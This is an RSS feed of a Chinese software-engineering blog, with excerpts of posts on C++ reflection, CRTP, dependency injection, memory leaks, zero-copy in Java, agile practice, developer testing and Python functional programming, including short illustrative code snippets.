<?xml version="1.0" encoding="utf-8" standalone="yes"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
  <channel>
    <title>Posts on 蘭陵N梓記</title>
    <link>http://lanlingzi.cn/post/</link>
    <description>Recent content in Posts on 蘭陵N梓記</description>
    <generator>Hugo -- gohugo.io</generator>
    <language>zh-CN</language>
    <lastBuildDate>Sun, 19 Jun 2022 00:00:00 +0000</lastBuildDate><atom:link href="http://lanlingzi.cn/post/index.xml" rel="self" type="application/rss+xml" />
    <item>
      <title>飞哥讲代码32：C&#43;&#43;从案例看属性反射</title>
      <link>http://lanlingzi.cn/post/technical/2022/0619/</link>
      <pubDate>Sun, 19 Jun 2022 00:00:00 +0000</pubDate>
      
      <guid>http://lanlingzi.cn/post/technical/2022/0619/</guid>
      <description>&lt;h1 id=&#34;前言&#34;&gt;前言&lt;/h1&gt;
&lt;p&gt;Java/Go语言都内置了反射机制，支持在运行期获取类/方法/属性的信息。反射机制有很多的应用场景，如最常见数据的序列化，如果没有反射机制，要么是基于代码生成，如protobuf；要么是一行行的手写代码那是纯体力活。&lt;/p&gt;
&lt;p&gt;C++并没有内置的一套反射机制，实现反射机制也是C++经常讨论的话题。考虑到C++有强大的元模板编码能力，准确的来说，C++在编译期间是有些自省能力，提供一些is_xxx函数集合以及模板萃取能力，只是不支持动态反射，因为它没有像Java/Go语言拥有运行时环境，且在编译期能力非常孱弱与难用。&lt;/p&gt;
&lt;p&gt;C++有不少的开源第三方反射实现库，他们实现方式无外乎二种：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;编译时反射：在编译时进行类/属性/方法的遍历 ，且遍历支持用户进行过滤，为类/属性/方法提供静态的附加元信息，并把他们保存起来提供运行时API&lt;/li&gt;
&lt;li&gt;运行时反射：提供一套管理框架，在运行时对类/属性/方法信息进行注册管理，使用时再从框架获取对应的信息&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;前一段时间定位某一C++写的老产品（20年+）的问题，无意中发现代码中有运行时反射的影子，只是代码并没有把这个反射概念进行提炼，代码比较零散。&lt;/p&gt;</description>
    </item>
    
    <item>
      <title>飞哥讲代码31：C&#43;&#43;函数静态与动态分发</title>
      <link>http://lanlingzi.cn/post/technical/2022/0604/</link>
      <pubDate>Sat, 04 Jun 2022 00:00:00 +0000</pubDate>
      
      <guid>http://lanlingzi.cn/post/technical/2022/0604/</guid>
      <description>&lt;h1 id=&#34;前言&#34;&gt;前言&lt;/h1&gt;
&lt;p&gt;在&lt;a href=&#34;http://lanlingzi.cn/post/technical/2022/0405/&#34;&gt;C++简单依赖注入&lt;/a&gt;一文中，利用C++类的static变量初始化特性实现了简单的依赖注入框架。你是否还有印象，其中还同时利用C++模板编程另一个特性CRTP：把派生类作为基类的模板参数。&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;background-color:#eed;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-c++&#34; data-lang=&#34;c++&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#8b008b;font-weight:bold&#34;&gt;template&lt;/span&gt;&amp;lt;&lt;span style=&#34;color:#8b008b;font-weight:bold&#34;&gt;typename&lt;/span&gt; T&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#8b008b;font-weight:bold&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#008b45;font-weight:bold&#34;&gt;ManagedObject&lt;/span&gt; {};
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#8b008b;font-weight:bold&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#008b45;font-weight:bold&#34;&gt;A&lt;/span&gt; : &lt;span style=&#34;color:#8b008b;font-weight:bold&#34;&gt;public&lt;/span&gt; ManagedObject&amp;lt;A&amp;gt; {};
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;a href=&#34;https://en.wikipedia.org/wiki/Curiously_recurring_template_pattern&#34;&gt;CRTP&lt;/a&gt;又是什么鬼？CRTP (Curiously Recurring Template Pattern)，翻译中文是奇特递归模板模式，它到底奇特在哪里？用法看起来有点奇怪，怎么能把一个对于基类未知的类型传给基类呢？在C++模板编程中，这一切皆有可能。&lt;/p&gt;</description>
    </item>
    
    <item>
      <title>零拷贝技术及在Java中应用</title>
      <link>http://lanlingzi.cn/post/technical/2022/0521/</link>
      <pubDate>Sat, 21 May 2022 00:00:00 +0000</pubDate>
      
      <guid>http://lanlingzi.cn/post/technical/2022/0521/</guid>
      <description>&lt;h1 id=&#34;前言&#34;&gt;前言&lt;/h1&gt;
&lt;p&gt;前一段时间参与定位Tomcat某一问题，涉及到sendfile系统调用。忽然想到之前一些使用经验，知道Java领域中有不少开源软件，都应用了零拷贝来提升其性能，于是有了本文。看看我们这些耳熟能详的软件吧，你是否曾了解过他们背后应用的技术点：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Tomcat: 使用sendfile把大文件写入Socket，提升静态文件数据传输性能&lt;/li&gt;
&lt;li&gt;Netty: 统一的ByteBuf机制，对DirectBuffer封装采用堆外内存进行Socket读写；也支持使用sendfile把文件缓冲区的数据发送到目标Channel&lt;/li&gt;
&lt;li&gt;RocketMQ：使用mmap内存映射文件方式对CommitLog文件读写，当客户端消费消息时把内容写到目标Socket&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;本文是对网上知识点的收集与整理而成，在此分享给大家。本文中【OS层】章节中介绍零拷贝技术的部分内容与图片来源于&lt;a href=&#34;https://www.zhangshengrong.com/p/ArXGbVABNj/&#34;&gt;看过就懂的java零拷贝及实现方式详解&lt;/a&gt;，在此先致谢。&lt;/p&gt;</description>
    </item>
    
    <item>
      <title>飞哥讲代码30：C&#43;&#43;简单依赖注入</title>
      <link>http://lanlingzi.cn/post/technical/2022/0405/</link>
      <pubDate>Tue, 05 Apr 2022 00:00:00 +0000</pubDate>
      
      <guid>http://lanlingzi.cn/post/technical/2022/0405/</guid>
      <description>&lt;h1 id=&#34;前言&#34;&gt;前言&lt;/h1&gt;
&lt;p&gt;前一段时间看某一老产品的代码，是C/C++混合编写的代码，代码中充满了全局变量，并采用extern引用外部全局变量。问题是由于类与类之间存在依赖关系，如果都通过构造方法传入依赖，会导致整个对象依赖图构造复杂。对于上了年头的老代码，采用全局变量+extern引用能够简单粗暴地插入要新增的调用关系，但也带来了代码上腐化。&lt;/p&gt;
&lt;p&gt;在我司新的C++融合编程规范中提到：&lt;/p&gt;
&lt;p&gt;禁止通过声明的方式引用外部函数接口与变量。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;只能通过包含头文件方式使用其它模块或文件提供的接口。通过声明的方式使用外部函数接口变量，容易在外部接口改变时可能导致声明有定义不一致。同时这种隐式依赖，容易导致架构腐化。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;避免使用全局变量(节选)。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;使用全局变量会导致业务代码和全局变量之间产生数据耦合。在不同编译单元的全局变量以及全局常量的初始化顺序没有被严格定义，使用时需要注意他们的初始化是否有相互依赖。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;一个完整的应用是由一组相互协作的对象组成，开发人员要关注如何使这些对象协作来完成所需功能，并且要低耦合、高聚合。如果有个框架出来帮我们来创建对象及管理这些对象之间的依赖关系，那我们只需要聚集于业务逻辑。作为同时写过Java代码的老兵，了解管理依赖是Spring的设计初衷之一。Java天然具有动态反射能力，为IoC框架实现提供了基础。但C++并没有反射能对类的自省，如何实现一个简单的IoC框架？&lt;/p&gt;</description>
    </item>
    
    <item>
      <title>飞哥讲代码29：C&#43;&#43;可变参数模板应用</title>
      <link>http://lanlingzi.cn/post/technical/2022/0404/</link>
      <pubDate>Mon, 04 Apr 2022 00:00:00 +0000</pubDate>
      
      <guid>http://lanlingzi.cn/post/technical/2022/0404/</guid>
      <description>&lt;h1 id=&#34;案例&#34;&gt;案例&lt;/h1&gt;
&lt;p&gt;在我司新的C++融合编程规范中，提到避免定义C风格的变参数函数：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;为了避免类型错误，应当使用可变参数模板等其它的方式来代替va_arg可变参数。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;规范中也给出了一个简单的示例，像我这种有使用过的经验感觉示例有点意犹未尽。去年年底我使用C++写一个小工具，其中就使用可变参数模板封装了一个日志接口，同时参考了Java slf4j日志用法，支持占位符。正好借这个代码的来温习与讲解一下可变参数模板，感受一下C++模板编程的魅力。&lt;/p&gt;</description>
    </item>
    
    <item>
      <title>软件开发漫谈7：开发协作</title>
      <link>http://lanlingzi.cn/post/technical/2022/0313/</link>
      <pubDate>Sun, 13 Mar 2022 00:00:00 +0000</pubDate>
      
      <guid>http://lanlingzi.cn/post/technical/2022/0313/</guid>
      <description>&lt;h1 id=&#34;前言&#34;&gt;前言&lt;/h1&gt;
&lt;p&gt;追求软件产品竞争力的企业，都会追求研发效能极致。对研发效能提升的投资是非常有价值的，因为如果一个开发者每天节可以节省一小时，即使一个50人的开发团队，总体节省的数字是非常可观的。&lt;/p&gt;
&lt;p&gt;研发效能提升不仅仅是要提供更好的编程规范，开发工具，快速获得的流水线等硬件，也要对开发者提供贴心的软服务。因为目前软件开发不再单体活动，是一群人协作完成。因而个体问题转变了成社会问题：大家如何高效地协同、沟通和互动，团队与环境如何对开发者的工作产生影响。&lt;/p&gt;
&lt;p&gt;软件开发要以人为本，对软件开发者群体进行研究。比如开发者之间是如何建立关系，关系是如何的管理，如何让参与者都有意愿，聚集有价值的活动，产生更大的能量，最终开发出有竞争力的软件。&lt;/p&gt;</description>
    </item>
    
    <item>
      <title>软件开发漫谈6：师徒结对</title>
      <link>http://lanlingzi.cn/post/technical/2022/0213/</link>
      <pubDate>Sun, 13 Feb 2022 00:00:00 +0000</pubDate>
      
      <guid>http://lanlingzi.cn/post/technical/2022/0213/</guid>
      <description>&lt;h1 id=&#34;前言&#34;&gt;前言&lt;/h1&gt;
&lt;p&gt;在我的多篇博文中提到软件开发需要师傅带徒弟，如在谈到Commit活动中，师傅们应该积极利用Commit活动，通过对代码检视，发现问题，帮助软件能力提升，养成良好的工作习惯。再如在谈到软件传承时，提升明确建立了师徒关系，师傅在日常开发中，通过言传身教，传递对代码的价值取向，精益品质追求。&lt;/p&gt;
&lt;p&gt;在敏捷软件开发方法中，也提到“&lt;a href=&#34;https://baike.baidu.com/item/%E7%BB%93%E5%AF%B9%E7%BC%96%E7%A8%8B/7526152?fr=aladdin&#34;&gt;结对编程&lt;/a&gt;”：两个程序员在一个计算机上共同工作。一个人输入代码，而另一个人审查他输入的每一行代码。输入代码的人称作驾驶员，审查代码的人称作观察员（或导航员）。两个程序员经常互换角色。&lt;/p&gt;
&lt;p&gt;结对编程的目的一方面是对软件质量的看护手段，另一方面则是让参与的程序员能够提升自身能力。程序员结对工作的时候，水平较低的一方会潜移默化地受水平略高的程序员影响，学到新的东西。而水平高的一方同样因为不断地把自己的想法说出来，过程中会整理与完善自己的思路，是一个相互促进的过程。&lt;/p&gt;
&lt;p&gt;师徒结对就是通过&lt;code&gt;传&lt;/code&gt;、&lt;code&gt;帮&lt;/code&gt;、&lt;code&gt;带&lt;/code&gt;，通过&lt;code&gt;互助&lt;/code&gt;、&lt;code&gt;互信&lt;/code&gt;、&lt;code&gt;合作&lt;/code&gt;来促进团队的软件开发专业能力的提升。&lt;/p&gt;</description>
    </item>
    
    <item>
      <title>软件开发漫谈5：软件传承</title>
      <link>http://lanlingzi.cn/post/technical/2022/0102/</link>
      <pubDate>Sun, 02 Jan 2022 00:00:00 +0000</pubDate>
      
      <guid>http://lanlingzi.cn/post/technical/2022/0102/</guid>
      <description>&lt;h1 id=&#34;前言&#34;&gt;前言&lt;/h1&gt;
&lt;p&gt;我司很多的软件产品生命周期非常长，甚至还有20年前开发的软件产品还在网上发挥重要价值。前一段时间参与某一开源软件的自维护，分析其软件发展历史，发现它第一个版本开发于1999年，2002年重构发布2.0版本，到现在已历经了20+年。它的版权与主要作者也几经变化，最后成为Apache的顶级项目。无论是商业软件还是开源软件，越是基础性的软件，其生命周期越长，需要长期维护，软件也不可能由一个人或者一个团队自始至终开发、维护，软件需要传承。&lt;/p&gt;
&lt;p&gt;软件产品生命周期的80%时间可能是维护阶段，在大规模开发阶段会留下很多&amp;quot;资产&amp;quot;。如开发过程文档，像我司基于DBOX的文档管理方式，侧重于权限控制，而未考虑使用体验。每个版本每个阶段的文档不同的目录管理，几年下来积累的各种文档散落在各个目录，文档间割裂缺少连续性，无法维护和使用。如几十上百篇的各个需求设计文档，在后期的维护阶段也没有人愿意去看，并且能看懂，原因是与现有代码实现严重脱钩了，文档起不到期望的软件传承。&lt;/p&gt;
&lt;p&gt;我们耳熟能详的2G，3G，4G等，通讯技术似乎每5到10年有代际，不断地演进发展。那纯软件技术是不是也有代际？有。软件有继承才有发展，如我们部门某一软件产品从部署形态来讲，从早期的单板嵌入式，到X86虚拟化，再到现在全容器CloudNative化。从支持协议来看从传统的7号信令接入，再到全网IP化。软件一直在随着技术的发展在演进，包括其技术架构，交付形态，功能构成等都在变化中。软件传承相比软件维护并是不要发展，而是顺势而为，持续可交付与迭代。&lt;/p&gt;
&lt;p&gt;今天趁着元旦有点时间，瞎聊糊侃一番软件传承，软件的传承有其特殊性。&lt;/p&gt;</description>
    </item>
    
    <item>
      <title>飞哥讲代码28：C&#43;&#43;内存泄露</title>
      <link>http://lanlingzi.cn/post/technical/2021/1106/</link>
      <pubDate>Sat, 06 Nov 2021 00:00:00 +0000</pubDate>
      
      <guid>http://lanlingzi.cn/post/technical/2021/1106/</guid>
      <description>&lt;h1 id=&#34;案例&#34;&gt;案例&lt;/h1&gt;
&lt;p&gt;C/C++把内存管理交给程序员，由于对象生命周期的长短不一，需要记住内存在真正不需要它的时候显示释放，让程序员承担很大的心智负担，不经意间就出现内存泄露。通常正常的业务流程是不会出现内存泄露的，因为跑用例时会挂上内存检测工具，但一些异常分支，用例难以覆盖的地方，是内存泄露的重灾区。若一旦出现，都难以定位。前一段时间走读某一老产品的代码，是C/C++混合代码，发现一些潜在内存泄露问题。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;问题1&lt;/strong&gt;，每个异常分支需要手动释放方法内申请的内存，代码脱敏如下：&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;background-color:#eed;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-c++&#34; data-lang=&#34;c++&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;pBuf1 = malloc(&lt;span style=&#34;color:#8b008b;font-weight:bold&#34;&gt;sizeof&lt;/span&gt;(XX1)); &lt;span style=&#34;color:#228b22&#34;&gt;// 申请一块内存
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#228b22&#34;&gt;&lt;/span&gt;&lt;span style=&#34;color:#8b008b;font-weight:bold&#34;&gt;if&lt;/span&gt; (cond1) { &lt;span style=&#34;color:#228b22&#34;&gt;// 异常分支1
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#228b22&#34;&gt;&lt;/span&gt;    free(pBuf1);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#8b008b;font-weight:bold&#34;&gt;return&lt;/span&gt; RET_ERROR;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#228b22&#34;&gt;// 省略其它代码
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#228b22&#34;&gt;&lt;/span&gt;pBuf2 = malloc(&lt;span style=&#34;color:#8b008b;font-weight:bold&#34;&gt;sizeof&lt;/span&gt;(XX2)); &lt;span style=&#34;color:#228b22&#34;&gt;// 申请另一块内存
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#228b22&#34;&gt;&lt;/span&gt;&lt;span style=&#34;color:#8b008b;font-weight:bold&#34;&gt;if&lt;/span&gt; (cond2) { &lt;span style=&#34;color:#228b22&#34;&gt;// 异常分支2
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#228b22&#34;&gt;&lt;/span&gt;    free(pBuf1); &lt;span style=&#34;color:#228b22&#34;&gt;// 每个分支，都要释放前面所有代码
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#228b22&#34;&gt;&lt;/span&gt;    free(pBuf2);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#8b008b;font-weight:bold&#34;&gt;return&lt;/span&gt; RET_ERROR;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#228b22&#34;&gt;// 省略其它代码
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#228b22&#34;&gt;&lt;/span&gt;ptr-&amp;gt;buf1 = pBuf1;  &lt;span style=&#34;color:#228b22&#34;&gt;// 把多块内存的指针赋值给结构体指针ptr的成员变量，ptr是出参，ptr内存以及它的成员指针内存释放是在其它地方
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#228b22&#34;&gt;&lt;/span&gt;ptr-&amp;gt;buf2 = pBuf2;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#8b008b;font-weight:bold&#34;&gt;return&lt;/span&gt; RET_SUCCESS
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;</description>
    </item>
    
    <item>
      <title>软件开发漫谈4：敏捷开发</title>
      <link>http://lanlingzi.cn/post/technical/2021/1016/</link>
      <pubDate>Sat, 16 Oct 2021 00:00:00 +0000</pubDate>
      
      <guid>http://lanlingzi.cn/post/technical/2021/1016/</guid>
      <description>&lt;h1 id=&#34;背景&#34;&gt;背景&lt;/h1&gt;
&lt;p&gt;还是在国庆节前，与一位大学同学聊天，忽然聊到他公司自从引入一位印度主管之后，开始推广敏捷开发，言语中透露出对推行敏捷开发的反思。什么站立会议，Backlog墙，Burndown图，迭代回顾等，看似这些活动很美好，都是围绕提升团队生产率，让软件开发更&amp;quot;敏捷&amp;quot;，但事实上还不如他们以前没有这些活动更高效。一个小团队的Leader反而成了这些活动监工，搞这些活动有时甚至不如自己亲自把活干了产出来得快。每个人只完成自己的任务，没有人会记得是谁认领了什么任务，团队反而缺少了应有的协作。从迭代计划来看，也许只是时间上需要迭代的划分，难以做到每个迭代可独立交付特征。这或许所谓的只有其&amp;quot;皮&amp;quot;。&lt;/p&gt;
&lt;p&gt;我也有同样的感觉，联想我司10年前左右也在大力推广敏捷，并结合我司软件开发的特点，又在原有基础上进行改造。我们似乎在推广一种实践时，很容易跟风或是一刀切，人家这样玩，我们不跟着搞，似乎就是落后生产力了。总之推广是成功的，我们的优秀实践总结总会解决了XXX痛点，效率又提升了XXX。不过现在已没人再来提敏捷开发，不断的实践最终也留下一些&amp;quot;精华&amp;quot;，如站立会议改成Espace晨会，按月迭代计划尽可能早的部件间联调，每个C版本的AAR总结等等。&lt;/p&gt;</description>
    </item>
    
    <item>
      <title>软件开发漫谈3：开发者测试</title>
      <link>http://lanlingzi.cn/post/technical/2021/0904/</link>
      <pubDate>Sat, 04 Sep 2021 00:00:00 +0000</pubDate>
      
      <guid>http://lanlingzi.cn/post/technical/2021/0904/</guid>
      <description>&lt;h1 id=&#34;背景&#34;&gt;背景&lt;/h1&gt;
&lt;p&gt;目前各个团队在推行开发者测试，有些执行力与能力强的团队，逐渐开展起开发者测试。我们总是有各种各样的借口，没有管道时间，不具备本地测试条件，缺少测试技能等等。很多历史代码也不是我写的，缺少测试代码，再被动去补测试，看到明显的收益，抵触很自然。&lt;/p&gt;
&lt;p&gt;开发人员不做测试吗？其实也不是，至少我见到的团队，开发人员都会对自己新写和修改的代码做测试验证。只是这个测试过程是手工的，通过搭建环境，替换软件包，再手工给接口发送消息等一些无法自动可重入的测试手段，效率低下。&lt;/p&gt;
&lt;p&gt;曾经我们也推广过LLT测试，专职测试人员与开发人员饱和式投入之后，随着软件的演进，测试代码却没有随着持续维护与更新，久而久之变成比功能代码还腐烂，今天我们重新再提开发者测试，是否也难逃LLT一样的命运？&lt;/p&gt;
&lt;p&gt;笔者虽然一直从事开发，但在十多年前被主管安排过从事支撑系统测试的工作，写过验收测试用例，写过TTCN的测试脚本，也作为测试执行者用过测试专有工具。现在再来看开发者测试，它们在测试思路、理念、工具都是不相同的。如何更好地开展开发者测试我也是满脑的困惑，参考一些资料，趁着周末有点时间整理，观点也是房屋中大象，权当漫谈的谈资。&lt;/p&gt;</description>
    </item>
    
    <item>
      <title>飞哥讲代码27：此圈复杂度，改还是不改，是个问题</title>
      <link>http://lanlingzi.cn/post/technical/2021/0815/</link>
      <pubDate>Sun, 15 Aug 2021 00:00:00 +0000</pubDate>
      
      <guid>http://lanlingzi.cn/post/technical/2021/0815/</guid>
      <description>&lt;h1 id=&#34;背景&#34;&gt;背景&lt;/h1&gt;
&lt;p&gt;圈复杂度是一种代码复杂度的衡量标准。在我们的Clean Code的度量指标中很自然也少不了它的影子，通常我们会检查最大圈复杂度与平均圈复杂度。一般说来，人的记忆时长有限，当圈复杂度大于10时，就可能存在逻辑出错风险。圈复杂度也是条件复杂度，高复杂度的代码表现为条件分支多，导致代码可读性差，可测试性难，可维护性差等问题。整体的圈复杂度的确能反映代码整体是否清晰易懂，因此的确我们有必要分析与优化高复杂度的代码。&lt;/p&gt;
&lt;p&gt;我们在实践开发中经常会遇到高圈复杂度的代码，会纠结一些单点的圈复杂度要不要修改的问题。需要对圈复杂度思辨:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;高圈复杂度是否一定高复杂&lt;/li&gt;
&lt;li&gt;高圈复杂度是否一定可读性，可维护性差&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;本文案例的代码并不复杂，修改圈复杂度也是老生常谈的问题。但在Clean Code的指标下，我们(包括我自己)似乎早已麻木地习惯小心谨慎，不少时间花在修改一些不太增值的代码上。虽说指标是死的，人不能死板，我们不能基于不信任的指标来管控开发可信的代码，具体问题具体分析嘛。&lt;/p&gt;</description>
    </item>
    
    <item>
      <title>软件开发漫谈2：抽象设计</title>
      <link>http://lanlingzi.cn/post/technical/2021/0619/</link>
      <pubDate>Sat, 19 Jun 2021 00:00:00 +0000</pubDate>
      
      <guid>http://lanlingzi.cn/post/technical/2021/0619/</guid>
      <description>&lt;h1 id=&#34;背景&#34;&gt;背景&lt;/h1&gt;
&lt;p&gt;接上篇，代码Commit活动中鲜有代码设计类问题提出，抛开客观原因之外来看，要具备较好设计能力其实并不容易。抽象是软件设计基础，抽象是有层次，有角度，有级别。抽象的概念都很好，但也让人迷惑。大师们能够从具体的事物本身，抽象出各种概念。莫过于SOLID等设计原则以及各种设计模式，我们经常看到，经常谈论，可能的现状是难以真正深入理解，并在工作中应用。抽象看似明白，实操又不知如何下手。似乎抽象不可言传，只可意会。&lt;/p&gt;
&lt;p&gt;在绘画领域，有一个流派是抽象主义，似乎通过简单线条、块面和色彩随意的的涂鸦。画家们精心的构思与创作，变成了我们外行人眼中的涂鸦，直呼看不懂，欣赏不来。或许同样在对软件开发中，看似简单架构或代码背后，可能隐藏着作者精心的思考与高度的抽象。抽象之后的结果往往大道至简，越是复杂的代码反而没有什么抽象。我们对软件解决的问题思考太少，也就难以进行抽象。&lt;/p&gt;</description>
    </item>
    
    <item>
      <title>软件开发漫谈1：commit协作</title>
      <link>http://lanlingzi.cn/post/technical/2021/0606/</link>
      <pubDate>Sun, 06 Jun 2021 00:00:00 +0000</pubDate>
      
      <guid>http://lanlingzi.cn/post/technical/2021/0606/</guid>
      <description>&lt;h1 id=&#34;背景&#34;&gt;背景&lt;/h1&gt;
&lt;p&gt;我司代码Commit机制建设日趋完善，对代码的质量守护发挥越来越重要的作用。作为一名Committer，发现日常工作还有一些可以改进的。例如例行MR代码Review，除一些规范类、安全类与业务类的问题之外，鲜有代码设计类问题提出，以及即时修改。原因可能有多种，如：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;大多是增量功能开发，不需要新的设计&lt;/li&gt;
&lt;li&gt;每次MR的代码量很少，看不出设计意图&lt;/li&gt;
&lt;li&gt;设计类问题修改可能涉及面广，存在重构工作量而不愿意修改，也担心引发其它问题&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;这可能都是表象，其深层次可能是不同阶段的人群对代码不同程度的追求或者软件文化问题:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;刚加入软件开发的萌新，大多都是想着及时完成PL或主管给我的开发任务，一个迭代一个迭代地被动开展工作，不会有太多好代码的经验与思考。我们似乎也没有可向他们责全求备的，他们很努力。&lt;/li&gt;
&lt;li&gt;工作几年之后，有追求的程序员会思考如何把代码写得更好。甚至不惜一切代价，仔细的打磨自己的 “作品”。我们应鼓励这一种钻研精神，这样才能不断的提升自我满足岗位的需要。但进度要求可能逐渐磨灭对好代码钻研的追求。&lt;/li&gt;
&lt;li&gt;工作时间越来越长的老人，思考的层次也会随之变化，一部分可能会认为代码本身局部的好坏并不是最重要，关键是以最小的成本交付需求；一部分可能会看得比较深远，不能只满足当前的需求，还要考虑可持续发展，为将来设计。我们总会有理由赞成这个而反对那个，让老人难以发挥应有价值。&lt;/li&gt;
&lt;/ul&gt;</description>
    </item>
    
    <item>
      <title>飞哥讲代码26：Python函数式编程</title>
      <link>http://lanlingzi.cn/post/technical/2021/0515_code/</link>
      <pubDate>Sat, 15 May 2021 00:00:00 +0000</pubDate>
      
      <guid>http://lanlingzi.cn/post/technical/2021/0515_code/</guid>
      <description>&lt;h1 id=&#34;背景&#34;&gt;背景&lt;/h1&gt;
&lt;p&gt;最近笔者写Python代码比较多，同时又有多种编程语言的开发经验，现在的语言设计上大多趋同。当需要对数据集合操作时，非常喜欢java的stream声明式处理数据，萌生在Python中模仿Java的写法。虽然java的API易用性与Scala/Kotlin相比，还是有很大的差距，但与Python比起来，还是强不少。&lt;/p&gt;
&lt;p&gt;我们先来看一下Java的玩法：&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;background-color:#eed;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-java&#34; data-lang=&#34;java&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#228b22&#34;&gt;// 过滤Type是GROCERY，按Value倒排序，聚合Id，归并新的集合
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#228b22&#34;&gt;&lt;/span&gt;List&amp;lt;Integer&amp;gt; tanscationsIds = transcations.&lt;span style=&#34;color:#658b00&#34;&gt;parallelStream&lt;/span&gt;()
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        .&lt;span style=&#34;color:#658b00&#34;&gt;filter&lt;/span&gt;(it -&amp;gt; it.&lt;span style=&#34;color:#658b00&#34;&gt;getType&lt;/span&gt;() == Transcation.&lt;span style=&#34;color:#658b00&#34;&gt;GROCERY&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        .&lt;span style=&#34;color:#658b00&#34;&gt;sorted&lt;/span&gt;(comparing(Transcation::getValue).&lt;span style=&#34;color:#658b00&#34;&gt;resersed&lt;/span&gt;())
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        .&lt;span style=&#34;color:#658b00&#34;&gt;map&lt;/span&gt;(Transcation::getId)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        .&lt;span style=&#34;color:#658b00&#34;&gt;collect&lt;/span&gt;(Collectors::toList());
